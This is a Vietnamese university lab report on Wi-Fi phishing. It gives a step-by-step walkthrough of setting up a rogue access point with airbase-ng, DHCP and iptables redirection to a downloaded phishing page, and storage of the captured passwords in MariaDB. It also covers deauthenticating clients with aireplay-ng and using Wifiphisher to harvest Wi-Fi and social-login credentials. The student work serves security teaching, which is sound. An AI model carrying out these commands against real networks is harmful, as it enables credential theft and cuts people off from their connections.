A picture containing icon

Description automatically generated

TRƯỜNG ĐẠI HỌC CÔNG NGHỆ THÔNG TIN – ĐHQG-HCM

**KHOA MẠNG MÁY TÍNH VÀ TRUYỀN THÔNG**

BÁO CÁO THỰC HÀNH

NT330 – AN TOÀN MẠNG KHÔNG DÂY VÀ DI ĐỘNG

**LAB 05: Wifi Phising**

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| **Thành viên (Nhóm TH2.16):**  20520890 – Hoàng Văn Anh Đức  19521296 – Võ Thị Thu Cúc |  | |  | | --- | | Điểm tự đánh giá | |  | |

|  |  |
| --- | --- |
| Tổng thời gian thực hiện Lab trung bình |  |
| Phân chia công việc |  |
| Ý kiến *(nếu có)*  + Khó khăn  + Đề xuất, kiến nghị | Lỗi khá nhiều khi thực hiện theo bài lab |

# BÁO CÁO CHI TIẾT

## Fake AP lừa người dùng kết nối đến để đánh cắp mật khẩu

### Chú ý : Cần có 2 card mạng để có thể làm

Kiểm tra card mạng :

**ifconfig**

Text

Description automatically generated

Card đang ở monitor mode : wlan0mon

Card để kết nối ra internet : wlan0

***B.1 Cài đặt và cấu hình isc-dhcp-server***

1. Khởi động terminal và gõ lệnh sau.

**apt-get update**

**apt-get install isc-dhcp-server –y**

Text

Description automatically generated

Text

Description automatically generated

2. Cấu hình isc-dhcp-server bằng cách chỉnh sửa /etc/dhcp/dhcpd.conf

Gõ lệnh để vào file để chỉnh sửa : **nano /etc/dhcp/dhcpd.conf**

Cấu hình như sau :

**authoritative;**

**default-lease-time 600;**

**max-lease-time 7200;**

**subnet 192.168.1.0 netmask 255.255.255.0**

**{**

**option subnet-mask 255.255.255.0;**

**option broadcast-address 192.168.1.255;**

**option routers 192.168.1.1;**

**option domain-name-servers 8.8.8.8;**

**range 192.168.1.10 192.168.1.100;**

**}**

Graphical user interface, text

Description automatically generated

**Ctrl+X => Y =>Enter : Save**

***B.2 Giải quyết vấn đề xung đột giữa Airmon-Ng và Network Manager***

* Trước khi kích hoạt chế độ giám sát trên wireless card thì ta phải giải quyết sự đụng độ giữa airmon-ng và network-manager. Ta không cần phải kill dịch vụ network-manager hay ngắt kết nối trước khi wireless adapter vào chế độ giám sát một cách thủ công, bằng cách sử dụng airmon-ng kiểm tra kill mỗi lần chúng ta cần.
* Chỉnh sữa đường dẫn tập tin /etc/NetworkManager/NetworkManager.conf theo mẫu.

**nano /etc/NetworkManager/NetworkManager.conf**

**[keyfile]**

**unmanaged-devices=interface-name:wlan0mon;interface-**

**name:wlan1mon;interface-name:wlan2mon;interface-name:wlan3mon;interface-**

**name:wlan4mon;interface-name:wlan5mon;interface-name:wlan6mon;interface-**

**name:wlan7mon;interface-name:wlan8mon;interface-name:wlan9mon;interface-**

**name:wlan10mon;interface-name:wlan11mon;interface-name:wlan12mon**

Graphical user interface, text

Description automatically generated

***B.3 Tạo Wifi Access Point giả***

1. Mở wireless adapter vào chế độ giám sát

**airmon-ng start wlan0**

2. Dùng lệnh sau để theo dõi thông số các wifi internet trong phạm vi, để lấy thông tin wireless mục tiêu.

**airodump-ng wlan0mon**

Text

Description automatically generated with low confidence

Wifi mục tiệu ở đây là : **NC – WPA2**

BSSID : **74:DA:88:AD:D3:69**

Channel : **11**

3. Tiến hành khởi tạo AP giả.

**airbase-ng -e "NC – WPA2" -c 11 wlan0mon**

Text

Description automatically generated

4. Mặc định airbase-ng sẽ tạo một interface at0 để bridge luồng traffic thông qua rogue access point, sử dụng lệnh ifconfig at0 để xem.

Text

Description automatically generated

5. Tiến hành phân bổ địa chỉ IP và Subnet Mask cho cổng at0 và định tuyến.

Text

Description automatically generated

Text

Description automatically generated

gw là ip của card mạng mà không vào monitor mode

(**ifconfig**)- để xem ip

6. Xem thông tin định tuyến

Text

Description automatically generated

***B.4 Thiết lập Rule cho firewall***

1. Cấu hı̀nh cho phép client khi kết nối access point giả có thể ra mạng internet:

### 

## iptables --table nat --append POSTROUTING --out-interface *wlan0* -j MASQUERADE

## iptables --append FORWARD --in-interface at0 -j ACCEPT

## iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination *10.45.170.37:80*

## iptables -t nat -A POSTROUTING -j MASQUERADE

Graphical user interface, text, application

Description automatically generated

2. Kích hoạt forwarding.

**echo 1 > /proc/sys/net/ipv4/ip\_forward**



***B.5 Khởi động các dịch vụ***

1. Nhằm cấp phát địa chı̉ cho client khi kết nối vào access point giả

**dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhclient-eth0.pid at0**

Text

Description automatically generated

2. Khởi động các dịch vụ

**service isc-dhcp-server start**

**/etc/init.d/apache2 start**

**/etc/init.d/mariadb start**

Text

Description automatically generated

3. Tiến hành tải source trang web để lừa client kết nối, client có thể sẽ nhập password mà ta cần vào web này.

[**https://cdn.rootsh3ll.com/u/20180724181033/Rogue\_AP.zip**](https://cdn.rootsh3ll.com/u/20180724181033/Rogue_AP.zip)

4. unzip vào nơi web server sẽlaÜy trang web với lệnh.

**unzip rogue\_AP.zip -d /var/www/html/**

Text

Description automatically generatedA screenshot of a computer

Description automatically generated with medium confidence

5. Sau đó ta tiến hành cấu hı̀nh mariadb như sau.

**mariadb -u root**

6.Tiến hành tạo database và bảng.

**create database rogue\_AP;**

**use rogue\_AP;**

**create table wpa\_keys(password1 varchar(64), password2 varchar(64));**

Text

Description automatically generated

7.Tạo user để có thể vào database

Text

Description automatically generated

8. Sau khi fake access point đãchuaßn bị hoàn tất, ta tiến hành disconnect client đang kết

**aireplay-ng --deauth 0 -a 74:DA:88:AD:D3:69 wlan0mon**

Graphical user interface, text

Description automatically generated

9. Mạng wifi mục tiêu lập tức bị đứt kết nối, client kết nối vào fake wifi. Màn hình hiển thị khi client kết nối vào fake wifi.

Text

Description automatically generated

Graphical user interface

Description automatically generated

Icon

Description automatically generated with medium confidence

Text

Description automatically generated

=> Để xem mật khẩu mà client gõ vào giao diện :

**Show databases;**

**use rogue\_AP**

=>Đã thấy mật khẩu mà client nhập vào

## 2.Nội dung 2

### Dùng Wifiphisher để thực hiện các cuộc tấn công

Mở Terminal và cài đặt phần mềm.

**sudo apt update && apt install libnl-3-dev libnl-genl-3-dev libssl-dev**

**git clone https://github.com/wifiphisher/wifiphisher.git**

**cd wifiphisher**

**sudo python3 setup.py install**

Text

Description automatically generated

Text

Description automatically generated

Text

Description automatically generated

Gõ lệnh “**ifconfig**” để kiểm tra card mạng

Text

Description automatically generated

Trong bài này ta sẽ dùng wlan0 vào monitor mode

**airmon-ng start wlan0**

Text

Description automatically generated

Nhập “ip a” để kiểm tra lại :

Text

Description automatically generated

ở đây ta thấy wlan0mon và wlan0 thay vì wlan1 vì trong đây đã bật monitor mode (wlan0->wlan0mon) mà rút usb wifi ra và cắm lại nên usbwifi là wlan0 .

Khởi động phần mềm bằng lệnh wifiphisher bằng câu lệnh :

**wifiphisher -i wlan0**

Ta sẽ thấy giao diện của wifiphisher với các mạng quét được để chúng ta tấn công . Trong bài này mạng chúng ta tấn công có thông tin là :

ESSID : NC – WPA2

Graphical user interface, text

Description automatically generated

Sau khi ta chọn mạng và nhấn Enter thì sẽ có 1 bảng chọn hiện lên để chúng ta lựa chọn hình thức tấn công

Text

Description automatically generated

Chúng ta sẽ thực hiện 3 cách đó là :

**1.Network Manager Connect**

**3.Oauth Login Page**

**4.Firmware Upgrade Page**

Sau khi chọn xong thì sẽ có 1 bảng hiển thị các thông tin khi đã tạo thành công fake AP thì tool này sẽ death client từ AP gốc để họ reconnect vào fakeap .1 bảng chọn sẽ hiển thị để chúng ta quan sát thông tin

Text

Description automatically generated

Đối với cách tấn công thứ 4 thì khi client connect vào fakeap thì họ sẽ được redirect đến trang có giao diện như thế này

Text

Description automatically generated

Giao diện của client khi bị disconnect khỏi AP.

NC – WPA2 là fakeap mà chúng ta tạo ra

Khi họ tick agree và nhập mật khẩu vào thì chúng ta sẽ có được mật khẩu wifi của ap mà chúng ta đang giả mạo

Graphical user interface, text, application

Description automatically generated

Text

Description automatically generated

Password là : ducquadeptrai

* Tương tự với 2 cách tấn công còn lại :

Cách 3: **Oauth Login Page**

Graphical user interface, application

Description automatically generated

Giao diện của client khi connect và fake AP

Graphical user interface, text, website

Description automatically generated

Giao diện của chúng ta sau khi họ nhập thông tin

Thông tin lấy được là :

[anhduc2901@facebook.com](mailto:anhduc2901@facebook.com)

ducvanquadeptrai:))

Cách 4 : **Network Manager Connect**

Graphical user interface, text, application

Description automatically generated

A screenshot of a computer

Description automatically generated with medium confidence